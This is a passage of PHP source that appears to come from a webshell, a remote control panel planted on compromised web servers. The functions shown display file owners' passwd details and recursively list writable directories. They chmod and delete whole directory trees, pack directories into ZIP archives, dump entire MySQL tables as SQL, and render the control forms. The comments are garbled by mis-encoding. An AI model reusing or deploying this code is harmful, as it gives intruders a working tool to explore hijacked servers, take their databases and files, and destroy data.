1502 $world['read'] = ($mode & 00004) ? 'r' : '-';
1503 $world['write'] = ($mode & 00002) ? 'w' : '-';
1504 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1505
1506 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1507 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1508 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1509
1510 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
1511}
1512
1513function getUser($filepath) {
1514 if (function_exists('posix_getpwuid')) {
1515 $array = @posix_getpwuid(@fileowner($filepath));
1516 if ($array && is_array($array)) {
1517 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1518 }
1519 }
1520 return '';
1521}
1522
1523// ++| -+-+
1524function deltree($deldir) {
1525 $mydir=@dir($deldir);
1526 while($file=$mydir->read()) {
1527 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
1528 @chmod($deldir.'/'.$file,0777);
1529 deltree($deldir.'/'.$file);
1530 }
1531 if (is_file($deldir.'/'.$file)) {
1532 @chmod($deldir.'/'.$file,0777);
1533 @unlink($deldir.'/'.$file);
1534 }
1535 }
1536 $mydir->close();
1537 @chmod($deldir,0777);
1538 return @rmdir($deldir) ? 1 : 0;
1539}
1540
1541// #э+ё--+ф|-#|+#+л|ц++
1542function bg() {
1543 global $bgc;
1544 return ($bgc++%2==0) ? 'alt1' : 'alt2';
1545}
1546
1547// +ё+б|#|#|-+-+ -|-|-++|
1548function getPath($scriptpath, $nowpath) {
1549 if ($nowpath == '.') {
1550 $nowpath = $scriptpath;
1551 }
1552 $nowpath = str_replace('\\', '/', $nowpath);
1553 $nowpath = str_replace('//', '/', $nowpath);
1554 if (substr($nowpath, -1) != '/') {
1555 $nowpath = $nowpath.'/';
1556 }
1557 return $nowpath;
1558}
1559
1560// +ё+б|#|#-+-+|-+-+|-+-+
1561function getUpPath($nowpath) {
1562 $pathdb = explode('/', $nowpath);
1563 $num = count($pathdb);
1564 if ($num > 2) {
1565 unset($pathdb[$num-1],$pathdb[$num-2]);
1566 }
1567 $uppath = implode('/', $pathdb).'/';
1568 $uppath = str_replace('//', '/', $uppath);
1569 return $uppath;
1570}
1571
1572// +ь#щPHP+ф+|#+-
1573function getcfg($varname) {
1574 $result = get_cfg_var($varname);
1575 if ($result == 0) {
1576 return 'No';
1577 } elseif ($result == 1) {
1578 return 'Yes';
1579 } else {
1580 return $result;
1581 }
1582}
1583
1584// +ь#щ|п- |щ+Ў
1585function getfun($funName) {
1586 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1587}
1588
1589function GetList($dir){
1590 global $dirdata,$j,$nowpath;
1591 !$j && $j=1;
1592 if ($dh = opendir($dir)) {
1593 while ($file = readdir($dh)) {
1594 $f=str_replace('//','/',$dir.'/'.$file);
1595 if($file!='.' && $file!='..' && is_dir($f)){
1596 if (is_writable($f)) {
1597 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1598 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1599 $dirdata[$j]['dirchmod']=getChmod($f);
1600 $dirdata[$j]['dirperm']=getPerms($f);
1601 $dirdata[$j]['dirlink']=ue($dir);
1602 $dirdata[$j]['server_link']=$f;
1603 $dirdata[$j]['client_link']=ue($f);
1604 $j++;
1605 }
1606 GetList($f);
1607 }
1608 }
1609 closedir($dh);
1610 clearstatcache();
1611 return $dirdata;
1612 } else {
1613 return array();
1614 }
1615}
1616
1617function qy($sql) {
1618 //echo $sql.'<br>';
1619 $res = $error = '';
1620 if(!$res = @mysql_query($sql)) {
1621 return 0;
1622 } else if(is_resource($res)) {
1623 return 1;
1624 } else {
1625 return 2;
1626 }
1627 return 0;
1628}
1629
1630function q($sql) {
1631 return @mysql_query($sql);
1632}
1633
1634function fr($qy){
1635 mysql_free_result($qy);
1636}
1637
1638function sizecount($size) {
1639 if($size > 1073741824) {
1640 $size = round($size / 1073741824 * 100) / 100 . ' G';
1641 } elseif($size > 1048576) {
1642 $size = round($size / 1048576 * 100) / 100 . ' M';
1643 } elseif($size > 1024) {
1644 $size = round($size / 1024 * 100) / 100 . ' K';
1645 } else {
1646 $size = $size . ' B';
1647 }
1648 return $size;
1649}
1650
1651// -|-ї|Є# +р
1652class PHPZip{
1653 var $out='';
1654 function PHPZip($dir) {
1655 if (@function_exists('gzcompress')) {
1656 $curdir = getcwd();
1657 if (is_array($dir)) $filelist = $dir;
1658 else{
1659 $filelist=$this -> GetFileList($dir);//+-+ --#э
1660 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
1661 }
1662 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
1663 else chdir($curdir);
1664 if (count($filelist)>0){
1665 foreach($filelist as $filename){
1666 if (is_file($filename)){
1667 $fd = fopen ($filename, 'r');
1668 $content = @fread ($fd, filesize($filename));
1669 fclose ($fd);
1670 if (is_array($dir)) $filename = basename($filename);
1671 $this -> addFile($content, $filename);
1672 }
1673 }
1674 $this->out = $this -> file();
1675 chdir($curdir);
1676 }
1677 return 1;
1678 }
1679 else return 0;
1680 }
1681
1682 // +ё||++|и-+-++-+ --#э
1683 function GetFileList($dir){
1684 static $a;
1685 if (is_dir($dir)) {
1686 if ($dh = opendir($dir)) {
1687 while ($file = readdir($dh)) {
1688 if($file!='.' && $file!='..'){
1689 $f=$dir .'/'. $file;
1690 if(is_dir($f)) $this->GetFileList($f);
1691 $a[]=$f;
1692 }
1693 }
1694 closedir($dh);
1695 }
1696 }
1697 return $a;
1698 }
1699
1700 var $datasec = array();
1701 var $ctrl_dir = array();
1702 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
1703 var $old_offset = 0;
1704
1705 function unix2DosTime($unixtime = 0) {
1706 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
1707 if ($timearray['year'] < 1980) {
1708 $timearray['year'] = 1980;
1709 $timearray['mon'] = 1;
1710 $timearray['mday'] = 1;
1711 $timearray['hours'] = 0;
1712 $timearray['minutes'] = 0;
1713 $timearray['seconds'] = 0;
1714 } // end if
1715 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
1716 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
1717 }
1718
1719 function addFile($data, $name, $time = 0) {
1720 $name = str_replace('\\', '/', $name);
1721
1722 $dtime = dechex($this->unix2DosTime($time));
1723 $hexdtime = '\x' . $dtime[6] . $dtime[7]
1724 . '\x' . $dtime[4] . $dtime[5]
1725 . '\x' . $dtime[2] . $dtime[3]
1726 . '\x' . $dtime[0] . $dtime[1];
1727 eval('$hexdtime = "' . $hexdtime . '";');
1728 $fr = "\x50\x4b\x03\x04";
1729 $fr .= "\x14\x00";
1730 $fr .= "\x00\x00";
1731 $fr .= "\x08\x00";
1732 $fr .= $hexdtime;
1733
1734 $unc_len = strlen($data);
1735 $crc = crc32($data);
1736 $zdata = gzcompress($data);
1737 $c_len = strlen($zdata);
1738 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
1739 $fr .= pack('V', $crc);
1740 $fr .= pack('V', $c_len);
1741 $fr .= pack('V', $unc_len);
1742 $fr .= pack('v', strlen($name));
1743 $fr .= pack('v', 0);
1744 $fr .= $name;
1745 $fr .= $zdata;
1746 $fr .= pack('V', $crc);
1747 $fr .= pack('V', $c_len);
1748 $fr .= pack('V', $unc_len);
1749
1750 $this -> datasec[] = $fr;
1751 $new_offset = strlen(implode('', $this->datasec));
1752
1753 $cdrec = "\x50\x4b\x01\x02";
1754 $cdrec .= "\x00\x00";
1755 $cdrec .= "\x14\x00";
1756 $cdrec .= "\x00\x00";
1757 $cdrec .= "\x08\x00";
1758 $cdrec .= $hexdtime;
1759 $cdrec .= pack('V', $crc);
1760 $cdrec .= pack('V', $c_len);
1761 $cdrec .= pack('V', $unc_len);
1762 $cdrec .= pack('v', strlen($name) );
1763 $cdrec .= pack('v', 0 );
1764 $cdrec .= pack('v', 0 );
1765 $cdrec .= pack('v', 0 );
1766 $cdrec .= pack('v', 0 );
1767 $cdrec .= pack('V', 32 );
1768 $cdrec .= pack('V', $this -> old_offset );
1769 $this -> old_offset = $new_offset;
1770 $cdrec .= $name;
1771
1772 $this -> ctrl_dir[] = $cdrec;
1773 }
1774
1775 function file() {
1776 $data = implode('', $this -> datasec);
1777 $ctrldir = implode('', $this -> ctrl_dir);
1778 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
1779 }
1780}
1781
1782// #++|- +|+т
1783function sqldumptable($table, $fp=0) {
1784 $tabledump = "DROP TABLE IF EXISTS $table;\n";
1785 $tabledump .= "CREATE TABLE $table (\n";
1786
1787 $firstfield=1;
1788
1789 $fields = q("SHOW FIELDS FROM $table");
1790 while ($field = mysql_fetch_array($fields)) {
1791 if (!$firstfield) {
1792 $tabledump .= ",\n";
1793 } else {
1794 $firstfield=0;
1795 }
1796 $tabledump .= " $field[Field] $field[Type]";
1797 if (!empty($field["Default"])) {
1798 $tabledump .= " DEFAULT '$field[Default]'";
1799 }
1800 if ($field['Null'] != "YES") {
1801 $tabledump .= " NOT NULL";
1802 }
1803 if ($field['Extra'] != "") {
1804 $tabledump .= " $field[Extra]";
1805 }
1806 }
1807 fr($fields);
1808
1809 $keys = q("SHOW KEYS FROM $table");
1810 while ($key = mysql_fetch_array($keys)) {
1811 $kname=$key['Key_name'];
1812 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
1813 $kname="UNIQUE|$kname";
1814 }
1815 if(!is_array($index[$kname])) {
1816 $index[$kname] = array();
1817 }
1818 $index[$kname][] = $key['Column_name'];
1819 }
1820 fr($keys);
1821
1822 while(list($kname, $columns) = @each($index)) {
1823 $tabledump .= ",\n";
1824 $colnames=implode($columns,",");
1825
1826 if ($kname == "PRIMARY") {
1827 $tabledump .= " PRIMARY KEY ($colnames)";
1828 } else {
1829 if (substr($kname,0,6) == "UNIQUE") {
1830 $kname=substr($kname,7);
1831 }
1832 $tabledump .= " KEY $kname ($colnames)";
1833 }
1834 }
1835
1836 $tabledump .= "\n);\n\n";
1837 if ($fp) {
1838 fwrite($fp,$tabledump);
1839 } else {
1840 echo $tabledump;
1841 }
1842
1843 $rows = q("SELECT * FROM $table");
1844 $numfields = mysql_num_fields($rows);
1845 while ($row = mysql_fetch_array($rows)) {
1846 $tabledump = "INSERT INTO $table VALUES(";
1847
1848 $fieldcounter=-1;
1849 $firstfield=1;
1850 while (++$fieldcounter<$numfields) {
1851 if (!$firstfield) {
1852 $tabledump.=", ";
1853 } else {
1854 $firstfield=0;
1855 }
1856
1857 if (!isset($row[$fieldcounter])) {
1858 $tabledump .= "NULL";
1859 } else {
1860 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
1861 }
1862 }
1863
1864 $tabledump .= ");\n";
1865
1866 if ($fp) {
1867 fwrite($fp,$tabledump);
1868 } else {
1869 echo $tabledump;
1870 }
1871 }
1872 fr($rows);
1873 if ($fp) {
1874 fwrite($fp,"\n");
1875 } else {
1876 echo "\n";
1877 }
1878}
1879
1880function ue($str){
1881 return urlencode($str);
1882}
1883
1884function p($str){
1885 echo $str."\n";
1886}
1887
1888function tbhead() {
1889 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
1890}
1891function tbfoot(){
1892 p('</table>');
1893}
1894
1895function makehide($name,$value=''){
1896 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
1897}
1898
1899function makeinput($arg = array()){
1900 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
1901 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
1902 !$arg['type'] && $arg['type'] = 'text';
1903 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1904 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
1905 if ($arg['newline']) {
1906 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
1907 } else {
1908 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
1909 }
1910}
1911
1912function makeselect($arg = array()){
1913 if ($arg['onchange']) {
1914 $onchange = 'onchange="'.$arg['onchange'].'"';
1915 }
1916 $arg['title'] = $arg['title'] ? $arg['title'] : '';
1917 if ($arg['newline']) p('<p>');
1918 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
1919 if (is_array($arg['option'])) {
1920 foreach ($arg['option'] as $key=>$value) {
1921 if ($arg['selected']==$key) {
1922 p("<option value=\"$key\" selected>$value</option>");
1923 } else {
1924 p("<option value=\"$key\">$value</option>");
1925 }
1926 }
1927 }
1928 p("</select>");
1929 if ($arg['newline']) p('</p>');
1930}
1931function formhead($arg = array()) {
1932 !$arg['method'] && $arg['method'] = 'post';
1933 !$arg['action'] && $arg['action'] = $self;
1934 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
1935 !$arg['name'] && $arg['name'] = 'form1';
1936 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
1937 if ($arg['title']) {
1938 p('<h2>'.$arg['title'].' »</h2>');
1939 }
1940}
1941
1942function maketext($arg = array()){
1943 !$arg['cols'] && $arg['cols'] = 100;
1944 !$arg['rows'] && $arg['rows'] = 25;
1945 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1946 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
1947}
1948
1949function formfooter($name = ''){
1950 !$name && $name = 'submit';
1951 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
1952 p('</form>');
1953}
1954
1955function formfoot(){
1956 p('</form>');
1957}
1958
1959// |ў-+|п-
1960function pr($a) {
1961 echo '<pre>';
1962 print_r($a);
1963 echo '</pre>';
1964}